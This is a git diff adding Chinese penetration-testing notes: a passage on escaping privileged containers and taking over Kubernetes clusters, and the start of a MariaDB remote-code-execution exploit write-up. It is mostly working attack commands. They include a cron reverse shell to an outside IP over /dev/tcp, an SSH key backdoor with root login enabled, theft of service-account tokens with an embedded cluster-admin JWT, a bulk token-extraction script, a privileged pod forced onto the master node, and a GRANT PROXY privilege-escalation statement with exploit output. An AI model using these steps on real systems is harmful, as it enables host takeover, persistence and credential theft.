+ + +● 当容器以特权模式(`privileged: true`)启动时,容器内root用户会获得宿主机root权限,在开启特权模式的容器内可以通过挂载(mount)宿主机的根文件系统实现容器逃逸 +● Kubernetes中通过`securityContext.privileged: true`配置开启此模式,如下所示 + +![](https://i.im.ge/QMVB6CK/p2m-b453bb9427.png) + + + + +## 逃逸方式 + + +● 判断当前是否为特权模式,如果是特权模式启动的话CapEff对应的掩码值应该为`0000003fffffffff`或者是`0000001fffffffff` + +```cpp +cat /proc/self/status | grep CapEff +``` + +![](https://imglink.cc/cdn/iq341tVaZd.png) + + + + +![](https://imglink.cc/cdn/7WK7EWTsmC.png) + + + +●查看磁盘分区,查看可以挂载的分区 + + +```cpp +lsblk +``` + +![](https://imglink.cc/cdn/8uOi1QQSJN.png) + + + +●创建目录,并将分区挂载到目录中 + + +```cpp +// 创建挂载点目录 +mkdir -p /mnt/host_root + +// 挂载宿主机根分区(sda5) +mount /dev/sda5 /mnt/host_root +``` + +![](https://i.im.ge/QMVBNv9/p2m-afae86a2a3.png) + + + +●验证是否挂载成功 + + +```cpp +// 进入挂载的目录 +cd /mnt/host_root/ +ls +chroot /mnt/host_root /bin/bash // chroot切换根环境,方便进行计划任务反弹shell +``` + +![](https://i.im.ge/QMVBtSX/p2m-787949072d.png) + + + +●计划任务反弹shell获取宿主机权限 + + +```cpp +// 创建计划任务 +crontab -e +*/1 * * * * /bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.2.96/8080 0>&1" + +// VPS监听反弹shell +nc -lvvp 8080 +``` + +●写入ssh公钥获取宿主机权限 + + +```cpp +// 在VPS中生成公私钥文件 +ssh-keygen -t rsa -b 4096 -f my_key -N "" + +// 此时已经挂载了宿主机的目录,可以直接将公钥写入宿主机的/root/.ssh/authorized_keys文件中,并赋予对应权限 +echo "公钥内容" >> /mnt/host_root/root/.ssh/authorized_keyschmod 600 /test11/root/.ssh/authorized_keys + +// 修改宿主机的/etc/ssh/sshd_config文件,设置参数允许可被ssh远程连接 +PubkeyAuthentication yes +PermitRootLogin yes +AuthorizedKeysFile .ssh/authorized_keys + +// 一条命令配置 +echo -e "PubkeyAuthentication yes\nPermitRootLogin yes\nAuthorizedKeysFile .ssh/authorized_keys" >> /mnt/host_root/etc/ssh/sshd_config && systemctl restart sshd + +// 此时在VPS上通过私钥即可SSH连接宿主机 +ssh -i 私钥文件 root@ip +``` + +# 六、通过高权限Token获取K8S集群管理员权限 + + + +## 判断当前环境 + + +●在容器逃逸出来以后,可以先判断当前是否有K8S环境 + + +```yaml +// 判断当前是否为K8S环境 +kubectl version --client --short + +// 判断当前是否为主节点 +ps aux | grep -q "[k]ube-apiserver" && echo "Master Node" || echo "Worker Node" + +// 定位主节点 +kubectl cluster-info //未找到有效的集群配置,要么无集群,要么配置错误 +``` + +![](https://imglink.cc/cdn/-yEekc2sao.png) + + + + +## 票据文件 + + +● 在K8S节点中存在`/root/.kube/config`(不一定存在)和`/etc/kubernetes/kubelet.conf`这两个票据文件,票据中包含`certificate-authority-data:`这个字段它是集群的“根信任证书”,作用是验证Kubernetes API Server 的身份合法性: +○ 当kubelet(通过`kubelet.conf`)或 kubectl(通过`/root/.kube/config`)向API Server发起请求时,API Server会出示自己的服务端证书 +○ 客户端(kubelet/kubectl)会用`certificate-authority-data`里的CA证书去校验API Server的证书,只有确认API Server的证书是由这个CA签发的,才会建立加密连接,避免中间人攻击(防止连接到伪造的 API Server) + +![](https://imglink.cc/cdn/su9jEY7Hy2.png) + + + + +``` +- 在这两个票据文件中,如果user是`default-auth`的话,就说明权限不会太大(拼接命令查询到的信息有限、执行一些操作的时候权限不足等) +``` + +![](https://imglink.cc/cdn/oIQuCp7uSc.png) + + + +●拿到票据后可以通过拼接命令进行使用 + + +```yaml +// 获取默认命名空间(default)下的所有Pod列表 +kubectl --kubeconfig /etc/kubernetes/kubelet.conf get pods + +// 获取集群中所有命名空间下的所有Pod列表 +kubectl --kubeconfig /etc/kubernetes/kubelet.conf get pods --all-namespaces + +// 交互式进入Pod的shell(有时候权限不足,导致无法进入) +kubectl --kubeconfig /etc/kubernetes/kubelet.conf exec -it escape-pod -- sh // 没有指定命令空间,默认为default命名空间 +kubectl --kubeconfig /etc/kubernetes/kubelet.conf exec -it escape-to-host -n escape-ns -- bash // 指定进入escape-ns命令空间下的escape-to-host +kubectl --kubeconfig /etc/kubernetes/kubelet.conf exec -it steal-token-pod -n escape-ns -- sh +``` + +## Service Account + + +● 子节点的票据有时候可能导致越权,而这是少数情况,但是Pod内部可能存有高权限的服务账户`Service Account(SA)` +● Service Account(服务账户)是K8S为Pod内的应用程序、进程设计的身份标识,默认情况下,每个命名空间都会有一个`default`SA,权限极低,但是管理员可以创建自定义SA,并给它绑定超高权限,所以Pod内部可能存有高权限的SA +● 如果该SA被通过绑定了K8S内置的超级集群角色,就拥有了集群所有资源的操作权限,K8S会自动把该高权限SA的JWT认证Token,默认挂载到Pod内部`/var/run/secrets/kubernetes.io/serviceaccount`目录下,攻击者只要能进入该Pod,即可直接读取这个高权限Token,用该Token向API Server发起请求时,API Server会验证Token合法性并匹配其SA的RBAC权限,确认具备`cluster-admin`权限后,便允许执行查看/修改所有资源、操作节点、管理全集群Secret等所有管理员级操作,最终完全掌控整个K8S集群 +●在Pod内部查看Token + + +```yaml +cat /var/run/secrets/kubernetes.io/serviceaccount/token +``` + +![](https://imglink.cc/cdn/VApLy2y3e8.png) + + + +●通过Token获取K8S集群管理员权限 + + +```yaml +// 命令模板 +kubectl --insecure-skip-tls-verify=true --server="https://主节点ip:6443/" --token="token" get secrets --all-namespaces + +// 获取集群中所有命名空间下的所有Pod列表 +kubectl --insecure-skip-tls-verify=true --server="https://10.10.10.144:6443/" --token="eyJhbGciOiJSUzI1NiIsImtpZCI6IjdYTU1lNmxHR0V5dzVYc0I2bUdFMi16RzNuVTg2Y3BQM1pLbV9PSVFHdjAifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJlc2NhcGUtbnMiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlY3JldC5uYW1lIjoiY2x1c3Rlci1hZG1pbi1zYS10b2tlbi04NHBwNCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50Lm5hbWUiOiJjbHVzdGVyLWFkbWluLXNhIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQudWlkIjoiMzNlMDFhMzYtOTFhZi00OGUzLTgyMmYtNGEwMzMyY2U1OWQxIiwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmVzY2FwZS1uczpjbHVzdGVyLWFkbWluLXNhIn0.RpE43KWwwPkc6udxn0IgLyj4z4gTMm1kqlXqX8R-DzeHSU1Xr2qwJg1aYcxGnRXt-NIwslY9EgMpmSRf2AY5dBRMk37xHfGouUp-nrJMLFKQU6ZhtyTcefDdhdBYUW8G7Ce_1hDYOWBQwlHENOkvCbdLxgAx7Vy7W5x1OvIHN1x5y2DXqE-SolJrU6v3Ay4z6Kb49RFfNhUuD8uqIWsC1N7zkM1d5rm4CYdCfLVGN3M8Xe-JMPxKff79bKfUH5cNaFuW5Mp8iDvNwSychT1UCiRLCHXO0KgKFICuD3Ji5xj2zET8EeAuMLcyh-efEwk8krenRYMy6HPIDuPcb4-jGQ" get secrets --all-namespaces +``` + +![](https://imglink.cc/cdn/Yq95WC0ZmG.png) + + + +●Token权限不足的情况 + + +![](https://imglink.cc/cdn/_W9TvDSbJg.png) + + + +● 通过bash脚本批量提取Token(记得`chmod +x`) + +```yaml +#!/bin/bash +set -euo pipefail # 开启严格模式,提升脚本健壮性 + +# 脚本标题与执行时间 +echo -e "\033[1;34m=============================================\033[0m" +echo -e "\033[1;34m K8s容器Token提取工具 \033[0m" +echo -e "\033[1;34m=============================================\033[0m" +echo -e "执行时间: $(date +'%Y-%m-%d %H:%M:%S')\n" + +# 1. 获取运行中的容器列表(包含ID、名称、镜像) +# 先检查是否有运行中的容器 +running_containers=$(docker ps --format "{{.ID}}\t{{.Names}}\t{{.Image}}" 2>/dev/null) +if [ -z "$running_containers" ]; then + echo -e "\033[1;33m⚠️ 未检测到任何运行中的Docker容器\033[0m" + exit 0 +fi + +# 统计容器数量 +container_count=$(echo "$running_containers" | wc -l) +echo -e "\033[1;32m✅ 共检测到 $container_count 个运行中的容器\033[0m" +echo -e "---------------------------------------------\n" + +# 2. 遍历每个容器,提取Token并格式化输出 +echo "$running_containers" | while IFS=$'\t' read -r container_id container_name container_image; do + # 容器基础信息(带颜色区分) + echo -e "\033[1;36m【容器信息】\033[0m" + echo -e " 容器ID: \033[1;37m$container_id\033[0m" + echo -e " 容器名称: \033[1;37m$container_name\033[0m" + echo -e " 镜像名称: \033[1;37m$container_image\033[0m" + echo -e "\033[1;36m【Token提取结果】\033[0m" + + # 尝试提取Token(优化错误重定向,区分不同错误类型) + token=$(docker exec "$container_id" cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>&1) + exit_code=$? + + if [ $exit_code -eq 0 ] && [ -n "$token" ]; then + # Token提取成功 + echo -e " ✅ Token获取成功:" + echo -e " ----------------------------------------" + echo -e "\033[1;32m$token\033[0m" + echo -e " ----------------------------------------" + elif [ $exit_code -eq 127 ]; then + # 命令执行失败(如容器内无cat命令) + echo -e " ❌ 错误: 容器内执行命令失败(可能无cat工具)" + elif [ "$(echo "$token" | grep -c "No such file or directory")" -gt 0 ]; then + # 文件不存在 + echo -e " ❌ 错误: 容器内无K8s ServiceAccount Token文件" + else + # 其他未知错误 + echo -e " ❌ 未知错误: $token" + fi + + # 容器分隔线 + echo -e "\033[1;30m-----------------------------------------------------------\033[0m\n" +done + +# 脚本结束提示 +echo -e "\033[1;34m=============================================\033[0m" +echo -e "\033[1;34m 提取完成 ✨ \033[0m" +echo -e "\033[1;34m=============================================\033[0m" +``` + +![](https://imglink.cc/cdn/qQeq64y7Fw.png) + + + + +# 七、污点横移(上线主节点) + + +●在获取了高权限的Token,可以利用污点容忍机制在K8S主节点部署一个恶意Pod,然后逃逸到主节点 + +●查看节点上是否有污点并判断容忍度 + + +```yaml +// 模板 +kubectl --insecure-skip-tls-verify=true --server="https://主节点ip:6443/" --token="token" describe node <节点名称> | grep Taints -A 2 + +// 查看主节点是否存在污点 +kubectl --insecure-skip-tls-verify=true --server="https://10.10.10.144:6443/" --token="eyJhbGciOiJSUzI1NiIsImtpZCI6IjdYTU1lNmxHR0V5dzVYc0I2bUdFMi16RzNuVTg2Y3BQM1pLbV9PSVFHdjAifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJlc2NhcGUtbnMiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlY3JldC5uYW1lIjoiY2x1c3Rlci1hZG1pbi1zYS10b2tlbi04NHBwNCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50Lm5hbWUiOiJjbHVzdGVyLWFkbWluLXNhIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQudWlkIjoiMzNlMDFhMzYtOTFhZi00OGUzLTgyMmYtNGEwMzMyY2U1OWQxIiwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmVzY2FwZS1uczpjbHVzdGVyLWFkbWluLXNhIn0.RpE43KWwwPkc6udxn0IgLyj4z4gTMm1kqlXqX8R-DzeHSU1Xr2qwJg1aYcxGnRXt-NIwslY9EgMpmSRf2AY5dBRMk37xHfGouUp-nrJMLFKQU6ZhtyTcefDdhdBYUW8G7Ce_1hDYOWBQwlHENOkvCbdLxgAx7Vy7W5x1OvIHN1x5y2DXqE-SolJrU6v3Ay4z6Kb49RFfNhUuD8uqIWsC1N7zkM1d5rm4CYdCfLVGN3M8Xe-JMPxKff79bKfUH5cNaFuW5Mp8iDvNwSychT1UCiRLCHXO0KgKFICuD3Ji5xj2zET8EeAuMLcyh-efEwk8krenRYMy6HPIDuPcb4-jGQ" describe node k8s-master | grep Taints -A 2 +``` + +![](https://i.im.ge/QMVBErM/p2m-0d717b84ea.png) + + + +● 查询到的污点信息是`security=high:NoSchedule`,分解为: + +```yaml +key: security + +value: high + +effect: NoSchedule +``` + +●因此即将在主节点上布置的Pod中的容忍度应该这样配置 + + +```yaml +spec: + tolerations: + - key: "security" # 必须与污点的key完全一致 + operator: "Equal" # 操作符为Equal,表示需要精确匹配value + value: "high" # 必须与污点的value完全一致 + effect: "NoSchedule" # 必须与污点的effect完全一致 +``` + +●在主节点创建一个可以容器逃逸的Pod + +○创建yaml文件 + + +```yaml +cat > attack-pod.yaml <<'EOF' +apiVersion: v1 +kind: Pod +metadata: + name: attack-pod + namespace: default +spec: + # 1. 调度与容忍:突破污点,强制部署到主节点 + nodeName: k8s-master + tolerations: + - key: "security" + operator: "Equal" + value: "high" + effect: "NoSchedule" + + # 2. 容器配置:功能完整的攻击负载 + containers: + - name: attacker + image: ubuntu:22.04 + # 启动时安装工具并保持运行 + command: ["/bin/bash", "-c", "apt-get update && apt-get install -y curl wget net-tools && sleep infinity"] + securityContext: + privileged: true # 特权模式,便于后续逃逸 + allowPrivilegeEscalation: true + resources: # 资源限制,与原配置一致 + limits: + cpu: "0.5" + memory: "512Mi" + requests: + cpu: "0.1" + memory: "128Mi" + serviceAccountName: default + restartPolicy: Always +EOF +``` + +![](https://i.im.ge/QMVBAVh/p2m-88e81b0adf.png) + + + + +``` +- 创建Pod +``` + +```yaml +// 模板 +kubectl --insecure-skip-tls-verify=true --server="https://主节点ip:6443/" --token="" apply -f xxx.yaml + +// 通过yaml创建Pod +kubectl --insecure-skip-tls-verify=true --server="https://10.10.10.144:6443/" --token="eyJhbGciOiJSUzI1NiIsImtpZCI6IjdYTU1lNmxHR0V5dzVYc0I2bUdFMi16RzNuVTg2Y3BQM1pLbV9PSVFHdjAifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJlc2NhcGUtbnMiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlY3JldC5uYW1lIjoiY2x1c3Rlci1hZG1pbi1zYS10b2tlbi04NHBwNCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50Lm5hbWUiOiJjbHVzdGVyLWFkbWluLXNhIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQudWlkIjoiMzNlMDFhMzYtOTFhZi00OGUzLTgyMmYtNGEwMzMyY2U1OWQxIiwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmVzY2FwZS1uczpjbHVzdGVyLWFkbWluLXNhIn0.RpE43KWwwPkc6udxn0IgLyj4z4gTMm1kqlXqX8R-DzeHSU1Xr2qwJg1aYcxGnRXt-NIwslY9EgMpmSRf2AY5dBRMk37xHfGouUp-nrJMLFKQU6ZhtyTcefDdhdBYUW8G7Ce_1hDYOWBQwlHENOkvCbdLxgAx7Vy7W5x1OvIHN1x5y2DXqE-SolJrU6v3Ay4z6Kb49RFfNhUuD8uqIWsC1N7zkM1d5rm4CYdCfLVGN3M8Xe-JMPxKff79bKfUH5cNaFuW5Mp8iDvNwSychT1UCiRLCHXO0KgKFICuD3Ji5xj2zET8EeAuMLcyh-efEwk8krenRYMy6HPIDuPcb4-jGQ" apply -f attack-pod.yaml +``` + +![](https://i.im.ge/QMVBy68/p2m-9e83fd0a87.png) + + + +●验证是否创建成功 + + +```yaml +// 模板 +kubectl --insecure-skip-tls-verify=true --server="https://主节点ip:6443/" --token="" get pods + +// 查看是否创建成功 +kubectl --insecure-skip-tls-verify=true --server="https://10.10.10.144:6443/" --token="eyJhbGciOiJSUzI1NiIsImtpZCI6IjdYTU1lNmxHR0V5dzVYc0I2bUdFMi16RzNuVTg2Y3BQM1pLbV9PSVFHdjAifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJlc2NhcGUtbnMiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlY3JldC5uYW1lIjoiY2x1c3Rlci1hZG1pbi1zYS10b2tlbi04NHBwNCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50Lm5hbWUiOiJjbHVzdGVyLWFkbWluLXNhIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQudWlkIjoiMzNlMDFhMzYtOTFhZi00OGUzLTgyMmYtNGEwMzMyY2U1OWQxIiwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmVzY2FwZS1uczpjbHVzdGVyLWFkbWluLXNhIn0.RpE43KWwwPkc6udxn0IgLyj4z4gTMm1kqlXqX8R-DzeHSU1Xr2qwJg1aYcxGnRXt-NIwslY9EgMpmSRf2AY5dBRMk37xHfGouUp-nrJMLFKQU6ZhtyTcefDdhdBYUW8G7Ce_1hDYOWBQwlHENOkvCbdLxgAx7Vy7W5x1OvIHN1x5y2DXqE-SolJrU6v3Ay4z6Kb49RFfNhUuD8uqIWsC1N7zkM1d5rm4CYdCfLVGN3M8Xe-JMPxKff79bKfUH5cNaFuW5Mp8iDvNwSychT1UCiRLCHXO0KgKFICuD3Ji5xj2zET8EeAuMLcyh-efEwk8krenRYMy6HPIDuPcb4-jGQ" get pods +``` + +![](https://i.im.ge/QMVBx0Y/p2m-8630b6373a.png) + + + +●进入Pod,然后进行逃逸(与前面的特权模式下挂载目录逃逸模式一致) + + +```yaml +// 模板 +kubectl --insecure-skip-tls-verify=true --server="https://主节点ip:6443/" --token="" exec Pod名称 -it -- bash + +// 进入刚创建的Pod +kubectl --insecure-skip-tls-verify=true --server="https://10.10.10.144:6443/" --token="eyJhbGciOiJSUzI1NiIsImtpZCI6IjdYTU1lNmxHR0V5dzVYc0I2bUdFMi16RzNuVTg2Y3BQM1pLbV9PSVFHdjAifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJlc2NhcGUtbnMiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlY3JldC5uYW1lIjoiY2x1c3Rlci1hZG1pbi1zYS10b2tlbi04NHBwNCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50Lm5hbWUiOiJjbHVzdGVyLWFkbWluLXNhIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQudWlkIjoiMzNlMDFhMzYtOTFhZi00OGUzLTgyMmYtNGEwMzMyY2U1OWQxIiwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmVzY2FwZS1uczpjbHVzdGVyLWFkbWluLXNhIn0.RpE43KWwwPkc6udxn0IgLyj4z4gTMm1kqlXqX8R-DzeHSU1Xr2qwJg1aYcxGnRXt-NIwslY9EgMpmSRf2AY5dBRMk37xHfGouUp-nrJMLFKQU6ZhtyTcefDdhdBYUW8G7Ce_1hDYOWBQwlHENOkvCbdLxgAx7Vy7W5x1OvIHN1x5y2DXqE-SolJrU6v3Ay4z6Kb49RFfNhUuD8uqIWsC1N7zkM1d5rm4CYdCfLVGN3M8Xe-JMPxKff79bKfUH5cNaFuW5Mp8iDvNwSychT1UCiRLCHXO0KgKFICuD3Ji5xj2zET8EeAuMLcyh-efEwk8krenRYMy6HPIDuPcb4-jGQ" exec attack-pod -it -- bash +``` + +![](https://i.im.ge/QMVB3gD/p2m-58347a5c0f.png) + + + +●补充,如果权限足够,但是没有污点,可以尝试通过Token创建污点 + + +```yaml +kubectl --insecure-skip-tls-verify=true --server="https://主节点ip:6443/" --token="" taint nodes 主节点名称 security=high:NoSchedule +``` + +# 八、CDK工具 + + +●CDK是一款开源的零依赖容器渗透工具包,旨在不同精简容器中提供稳定的渗透能力,无需任何操作系统依赖,主要包含一下模块 + +○Evaluate: 容器内部信息收集,以发现潜在的弱点便于后续利用 + +○Exploit: 提供容器逃逸、持久化、横向移动等利用方式 + +○Tool: 修复渗透过程中常用的linux命令以及与Docker/K8s API交互的命令 + +● 下载地址:[https://github.com/cdk-team/CDK/releases/](https://github.com/cdk-team/CDK/releases/) +●常用命令(传到Pod里面使用) + + +```yaml +// 在容器内部进行信息搜集,寻找可用的逃逸点 +./cdk_linux_amd64 evaluate + +// 全盘路径扫描,在路径中匹配敏感词来识别敏感文件,如:docker.sock、.git、.kube等 +./cdk_linux_amd64 evaluate --full +``` + +![](https://imglink.cc/cdn/PA1PCWgLuD.png) + + + + +```yaml +// 执行宿主机的命令 +./cdk_linux_amd64 run mount-cgroup "你要执行的宿主机命令" +./cdk_linux_amd64 run mount-cgroup "cat /etc/hosts" +``` + +![](https://imglink.cc/cdn/Fby4B9Gpln.png) + + + + +```yaml +// 读取宿主机文件 +./cdk_linux_amd64 run cap-dac-read-search /etc/hostname /etc/passwd +``` + +![](https://imglink.cc/cdn/-sk-__P9hJ.png) + + + +● 还有其他的使用方式,可以通过`-h`参数查看 + +![](https://imglink.cc/cdn/5fYih1sTCC.png) diff --git a/books/MariaDB 远程代码执行漏洞分析复现.md b/books/MariaDB 远程代码执行漏洞分析复现.md new file mode 100644 index 0000000..e2ef033 --- /dev/null +++ b/books/MariaDB 远程代码执行漏洞分析复现.md @@ -0,0 +1,425 @@ +# MariaDB 远程代码执行漏洞分析复现 +> 来源:https://xz.aliyun.com/news/92636 + +## 漏洞概述 + + +在 MariaDB 13.0.1 存在远程代码执行攻击链。攻击者仅需一个低权限数据库账号(USAGE 级别)和 TCP 网络可达性,即可通过纯 SQL 语句在服务器端以 `uid=999(mysql)` 身份执行任意系统命令。 + +攻击链由两个 0day 漏洞串联组成: + + +| 漏洞编号 | 类型 | 说明 | +| --- | --- | --- | +| F-09 | 权限提升 | GRANT PROXY ... IDENTIFIED VIA '' 绕过权限检查,任意用户可劫持 root 账户 | +| F-05 | Use-After-Free | SYS_REFCURSOR 游标数组重分配导致悬挂指针,堆喷后控制虚函数调用 | + + +两个漏洞均在 2026-08-03 仍未修复(上游 `sql/sp_cursor.{cc,h}` 在 13.0.1 tag 和 HEAD 之间零提交)。 + + +## 影响版本 + + +●MariaDB 13.0.1(已验证) + +● F-09 权限提升:所有已发布版本(验证 13.0.1 至 10.6.27),修复补丁 `dbd60d0ad8d` (MDEV-40470) 仅在 dev 分支 +● F-05 UAF:影响包含 `SYS_REFCURSOR` 功能的所有版本 + +## 漏洞严重性 + + +CVSS 3.1: 9.8 (Critical) — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H + +●攻击向量:网络 + +●攻击复杂度:低(完全自动化,Python 脚本一键利用) + +●权限要求:低(仅需 USAGE 权限的数据库账户) + +●用户交互:无 + +●影响范围:容器/主机系统命令执行 + + +## 利用前置条件 + + +攻击者需要满足以下条件才能成功利用此漏洞链: + + +### 必需条件(全部满足才可触发 RCE) + + + +| 条件 | 说明 | 默认/常见情况 | +| --- | --- | --- | +| 网络可达 | 攻击者能建立到 MariaDB 3306 端口的 TCP 连接 | 生产环境常见(应用服务器 → 数据库) | +| 有效数据库账户 | 拥有任意一个 MariaDB 账户(包括仅 USAGE 权限的最低权限账户) | 多租户环境、共享数据库实例 | +| secure_file_priv = NULL(未设置) | 允许 LOAD DATA INFILE 读取任意文件,包括 /proc/self/maps | MariaDB 官方 Docker 镜像默认值;部分发行版打包可能设为 /var/lib/mysql-files 或空字符串 | +| glibc 运行环境 | 漏洞利用依赖 glibc 的 mmap 行为(大块内存分配复用地址)和堆分配器行为(chunk 大小匹配) | MariaDB 官方 Linux 构建均基于 glibc | +| x86_64 架构 | JOP 小工具偏移和 call *0x100(%rax) 等指令基于 x86_64 | 绝大多数生产部署 | +| /proc 文件系统可读 | LOAD DATA INFILE '/proc/self/maps' 依赖 Linux /proc 伪文件系统泄露内存布局 | 所有标准 Linux 环境。容器中需要未设置 security_opt: no-new-privileges + /proc 未做特殊隔离 | +| max_allowed_packet 可调大 | 需要 SET GLOBAL max_allowed_packet = 268435456(256 MiB)来容纳 128 MiB 用户变量。这要求攻击者持有 SUPER 权限……但 F-09 提权已将低权限用户提升为 root,所以此条件自动满足 | F-09 提权后自动达成 | + + + +### 非必需但利于利用的条件 + + + +| 条件 | 说明 | 默认/常见情况 | +| --- | --- | --- | +| SYS_PTRACE capability(容器环境) | 允许读取 /proc/self/maps。Docker 中通常默认可用 | Docker 默认不限制 | +| 容器内 mariadbd 为 PID 1 | exploit 执行 system() 后进程崩溃 → 容器自动退出(但不影响命令已执行的事实) | 官方镜像默认 | +| ASLR 开启 | 实际上ASLR 开启反而是利用条件之一,因为 /proc/self/maps 恰好能泄露随机化后的地址。如果 ASLR 关闭,利用更简单(固定地址) | Linux 默认开启 | + + + +### 攻击场景 + + +1 共享数据库实例:云数据库服务中,多个租户共享同一 MariaDB 实例,低权限账户通过此漏洞逃逸到宿主系统 +2 应用服务器沦陷:Web 应用 SQL 注入获取的低权限数据库账户,进一步转化为服务器 RCE +3 内网横向移动:已进入内网的攻击者,利用数据库服务器作为跳板执行命令 +4 容器逃逸辅助:容器内以 mysql 身份执行命令后,可进一步利用内核漏洞逃逸到宿主机 + +### 不受影响的情况 + + +● `secure_file_priv` 已设置为特定目录或空字符串(阻止 `/proc/self/maps` 读取 — 但攻击者可能通过其他侧信道泄露地址) +●使用 musl libc 的构建(如 Alpine Linux)— mmap 和堆行为不同 + +●ARM/aarch64 架构 — JOP 小工具偏移不同 + +● MariaDB 10.5 以下版本(`SYS_REFCURSOR` 功能可能不存在或实现不同) + +## 复现环境 + + + +| 组件 | 版本/配置 | +| --- | --- | +| 宿主机 | macOS 15.7.4 | +| Docker | 28.1.1 | +| MariaDB 镜像 | mariadb@sha256:ef34af04bda12e6c85395328af78d562176c34fb29ae52063a4eb0d68fa7b3e9 | +| mariadbd | 13.0.1-MariaDB-ubu2604 | +| 低权限用户 | lowpriv / lowpriv(仅 USAGE + appdb.* 权限) | +| glibc | 容器内置(Ubuntu 26.04) | +| Python | 3.13 + mariadb 客户端 | + + + +## 复现步骤 + + + +### 1\. 启动实验环境 + + + +```bash +cd ~/data/github/mariadb-13-rce-lab +docker compose up -d +``` + +`docker-compose.yml`: + + +```yaml +services: + mariadb: + image: mariadb@sha256:ef34af04bda12e6c85395328af78d562176c34fb29ae52063a4eb0d68fa7b3e9 + container_name: mariadb-rce-lab + environment: + MARIADB_ROOT_PASSWORD: labpass + MARIADB_DATABASE: appdb + MARIADB_USER: lowpriv + MARIADB_PASSWORD: lowpriv + ports: + - "3307:3306" + cap_add: + - SYS_PTRACE + volumes: + - ./setup.sql:/docker-entrypoint-initdb.d/setup.sql +``` + +初始化 SQL(`setup.sql`)— lowpriv 用户仅有最低权限: + + +```sql +GRANT USAGE ON *.* TO 'lowpriv'@'%'; +GRANT ALL ON appdb.* TO 'lowpriv'@'%'; +``` + +### 2\. 运行 Pure-SQL 漏洞利用 + + + +```bash +python3 exploit_pure_sql.py \ + --host 127.0.0.1 --port 3307 \ + --user lowpriv --password lowpriv \ + --command "id > /tmp/pwned" \ + --marker /tmp/pwned \ + --container mariadb-rce-lab +``` + +### 3\. 复现结果 + + + +``` +[*] MariaDB 13.0.1-rc RCE — PURE SQL variant (lowpriv account only) +[*] Target: lowpriv@127.0.0.1:3307 command: id > /tmp/pwned + +[*] Step 1: F-09 GRANT PROXY privilege escalation (lowpriv -> root) +[+] F-09 done — connecting as root with empty password + +[*] Step 2: creating spray128 / grow5 / uaf5 (F-05 UAF trigger) +[+] functions created + +[*] Step 3: reading /proc/self/maps from SQL (ASLR defeat) +[+] PIE base 0x5587b50bd000 +[+] libc base 0x7f4772c00000 +[+] D2=0x5587b58caa77 D1=0x5587b5eed75b system=0x7f4772c5c560 + +[*] Step 4: allocating 128 MiB @fake marker buffer +[+] @fake region 0x774707c00000 V (fake vtable) = 0x774707c01030 + +[*] Step 5: writing JOP layout via SQL (self-reference baked) ... +[+] slot stable: V = 0x774707c01030 (self-reference consistent) +[+] reclaim payload ready (V=0x774707c01030 at offset 0x20) + +[*] ============ FIRING (CALL uaf5) ============ +[*] session died as expected after RCE: no sentinel within 10s; got: b'' +[*] waiting for marker /tmp/pwned ... +[+] /tmp/pwned: uid=999(mysql) gid=999(mysql) groups=999(mysql) + +[+] =========================================== +[+] RCE CONFIRMED (pure SQL, lowpriv account) +[+] =========================================== +``` + +`/tmp/pwned` 内容确认命令以 `uid=999(mysql)` 身份执行成功。 + + +![image.png](https://i.im.ge/QMVpYuW/p2m-e77a669eef.png) + + + + +## 漏洞利用链详细分析 + + + +### 第一阶段:F-09 权限提升(任意用户 → DBA) + + +漏洞位置: `sql/sql_acl.cc` 中的 `GRANT PROXY` 处理逻辑 + +利用语句: + + +```sql +GRANT PROXY ON CURRENT_USER() TO 'root'@'%' IDENTIFIED VIA ''; +GRANT PROXY ON CURRENT_USER() TO 'root'@'localhost' IDENTIFIED VIA ''; +``` 